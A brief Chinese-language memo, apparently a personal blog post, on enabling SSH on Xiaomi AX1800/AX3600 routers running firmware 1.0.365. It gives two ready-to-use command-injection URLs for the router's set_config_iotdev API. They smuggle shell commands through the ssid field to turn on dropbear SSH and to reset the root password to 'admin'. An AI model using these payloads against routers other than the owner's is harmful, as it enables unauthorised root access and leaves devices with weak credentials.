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AX1800 AX3600 漏洞利用及启动SSH方法

2021-03-31 coding wifi mi ax1800

证实,1.0.385 及以上固件封堵了这个漏洞。如需使用 SSH,请使用1.0.365 固件版本

具体原理请参见:原始论坛

下面放上POC用于备忘,具体使用时需要替换STOK:

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20nvram%20set%20ssh_en%3D1%3B%20nvram%20commit%3B%20sed%20-i%20's%2Fchannel%3D.*%2Fchannel%3D%5C%22debug%5C%22%2Fg'%20%2Fetc%2Finit.d%2Fdropbear%3B%20%2Fetc%2Finit.d%2Fdropbear%20start%3B

改密码为 Admin:

http://192.168.31.1/cgi-bin/luci/;stok=<STOK>/api/misystem/set_config_iotdev?bssid=Xiaomi&user_id=longdike&ssid=-h%3B%20echo%20-e%20'admin%5Cnadmin'%20%7C%20passwd%20root%3B